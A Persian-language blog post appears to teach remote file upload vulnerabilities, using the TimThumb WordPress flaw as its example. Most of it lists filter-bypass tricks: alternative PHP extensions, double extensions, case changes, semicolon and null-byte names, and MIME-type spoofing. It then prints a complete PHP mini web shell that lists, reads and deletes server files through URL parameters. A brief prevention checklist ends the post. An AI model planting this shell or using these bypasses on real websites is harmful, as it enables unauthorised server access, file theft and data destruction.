ویرگول
ورودثبت نام
behrad
behrad
behrad
behrad
خواندن ۳ دقیقه·۵ سال پیش

Remote File Upload

RFU مخفف remote file upload است و همانطور که از نام ان مشخص است هنگام اپلود فایل در سرور این

اسیب پذیری به وجود می اید که باعث می شود نفوذگر فایل های خود را در سرور اپلود کند و به اهداف خود برسد به صورت کلی این اسیب پذیری بسیار خطر ناک است و موجب می شود هکر از وب سایت دسترسی کامل

بگیرد اما حالت های دیگری هم وجود دارد که خطر اسیب پذیری کم می شود که با ان ها اشنا خواهید شد.

اگر یک اپلودر سایت به باگ RFU اسیب پذیر باشد میتوانید فایل خود را اپلود کنید برای مثال اگر سایت مورد نظر شما از php پشتیبانی می کند میتوانید یک شل اسکریپت با زبان php در ان اپلود کنید که در این صورت دسترسی کامل خواهید گرفت

امازمانی دیگر ممکن است فایل هایی مانند txt , html , js که فقط سمت کلاینت اجرا میشوند فقط بتوانید اپلود کنید که در این صورت هیچ دسترسی نخواهید داشت و فقط میتوانید یک صفحه دیفیس برای ثبت سایت ایجاد کنید یا نهایتا اطلاعات کاربرانی که به ان صفحه می ایند را با روش های فیشینگ استخراج کنید.

مثال این آسیب پذیری در افزونه های وردپرسی

آسیب پذیری TimThumb که تعداد بسیار زیادی از پلاگین ها و مضامین را تحت تأثیر قرار داده است.
یک آسیب پذیری آپلود فایل از راه دور است. در مورد TimThumb کتابخانه تصویر راهی را در اختیار توسعه دهندگان قرار داد تا بتوانند URL تصویر را در رشته پرس و جو مشخص کنند تا TimThumb.php سپس آن تصویر را از وب واکشی کند.

  • می توان URL تصویر را دستکاری کرد تا مهاجم بتواند یک فایل PHP را که در وب سایت خود مهاجمان میزبانی شده است مشخص کند. سپس TimThumb آن فایل PHP را واکشی می کند و آن را در وب سایت قربانی در دایرکتوری قابل دسترسی از وب ذخیره می کند. پس از آن مهاجم به سادگی به آن فایل PHP در مرورگر خود دسترسی پیدا می کند و می تواند آن را اجرا کند.


محدودیت ها و روش هایی که عمدتا در جهت جلوگیری از آپلود فایل غیر مجاز استفاده می شوند عبارتند از:

1-black list:

در این روش پسوند های غیر مجازی مشخص می شوند(php, asp, aspx) که با روش های زیر می توان ان ها را بایپس کرد:

استفاده از پسوند هایی که رایج نیستند:php5”, “.pht”, “.phtml”, “.shtml”, “.asa”, “.cer”, “.asax”

فایل هایی با دو پسوند: file.php.jpg

حروف بزرگ: shell.PhP

استفاده از ( ; ) : shell.php;.jpg

با استفاده از / پسوند را بایپس کنیم:

/file.jpg/index.php

بایپس با . و اسپیس:

file.asp … … . . .. ..

استفاده از اسلش و بک اسلش:

test.php/ or test.php.\

فایروال پسوند .php را فیلتر میکند پس اینجوری ان را بایپس می کنیم:

file.p.phphp

و فایل ما در سرور به صورت file.php خوانده می شود


2- white list

در این روش برخلاف روش قبل سرور بررسی میکند که پسوند فایل یکی از پسوند های مجاز باشد

بطور مثال در قسمت آپلود عکس برای پروفایل کاربری سرور یکی از extension های زیر را قبول میکند

Jpg, png, gif, jpeg, ...

این روش را هم می توان با دو پسوند و semicolon و Null byte و برخی روش های بالا بایپس کرد:

semicolon: shell.php;.jpg

Double extension: shell.php.png

Null byte: shell.php .png

3-mime type:

برای مثال اگر mime type برای php باشد اجازه ی اپلود نداریم که می توان این روش را هم بایپس کرد.

درخواست را اسنیف می کنیم و میم تایپ php را به image/jpeg تغییر می دهیم.

.html=> text/html
.xml=> text/xml
.txt=> text/plain
.rtf=> application/rtf
.pdf=> application/pdf
.word=> application/msword
.png=> image/png
.gif=> image/gif
.jpeg,.jpg=> image/jpeg
.au=> audio/basic
mid,.midi=> audio/midi,audio/x-midi
.ra, .ram=> audio/x-pn-realaudio
.mpg,.mpeg=> video/mpeg
.avi=> video/x-msvideo
.gz=> application/x-gzip
.tar=> application/x-tar
.php=> application/octet-stream


4.content lenth Validation

حجم فایل آپلودی محدود میشود و در صورتی که بالاتر از حجم مورد نظر بطور مثال ۱۰۰ کیلوبایت باشد آپلود صورت نمیگیرد برای بایپس هم می توان از شل های کم حجم تر استفاده کرد

( $uploaded_size < 10000 )



mini shell:


<?php

$root = __DIR__;

$style1='color:#000;';

$style2='color:#00a;font-weight:bold;';


function updir($ADir){

$ADir = substr($ADir, 0, strlen($ADir)-1);

$ADir = substr($ADir, 0, strrpos($ADir, '/'));

return $ADir;

}


if (isset($_GET['file'])) {


if (isset($_GET['del'])){

unlink($_GET['file']);

die;

}


if (is_file($_GET['file'])) {

header("Content-type: text/plain");

readfile($_GET['file']);

return;

}


$path = $_GET['file'].'/';


} else $path = $root.'/';


echo($root.'<br>');

echo($path.'<hr>');

echo '<a href="?file='.updir($path).'">..</a><br />';

$p = $path.'*';

foreach (glob($p) as $file) {

echo '<span style="font-size:11px;color:#777;">'.substr(sprintf('%o',fileperms($file)),-4).'</span> <a style="'.(is_file($file)?$style1:$style2).'" href="?file='.$file.'">'.basename($file).'</a> - <span style="font-size:11px;color:#777;">'.filesize($file).' - '.date("F d Y H:i:s", filemtime($file)).'</span><br />';

}

echo('<hr>');

5-Using a File Type Detector:

فایروال بجز پسوند چند خط از فایل را هم بررسی میکند که می توان با کامنت کردن یا encode کردن بایپس کرد


ایمنی و راههای جلوگیری از این باگ:

جلوگیری از این نوع آسیب پذیری مشابه جلوگیری از آسیب پذیری lfi است :

پوشه فایل های آپلود شده را محدود کنید

از افزونه های غیرضروری استفاده نکنید

محدودیت ها را با کدگذاری اعمال کنید

از فایروال برای جلوگیری از آپلود استفاده کنید

برای آپلود فایل ها از یک سرور جداگانه استفاده کنید


۱
۰
behrad
behrad
شاید از این پست‌ها خوشتان بیاید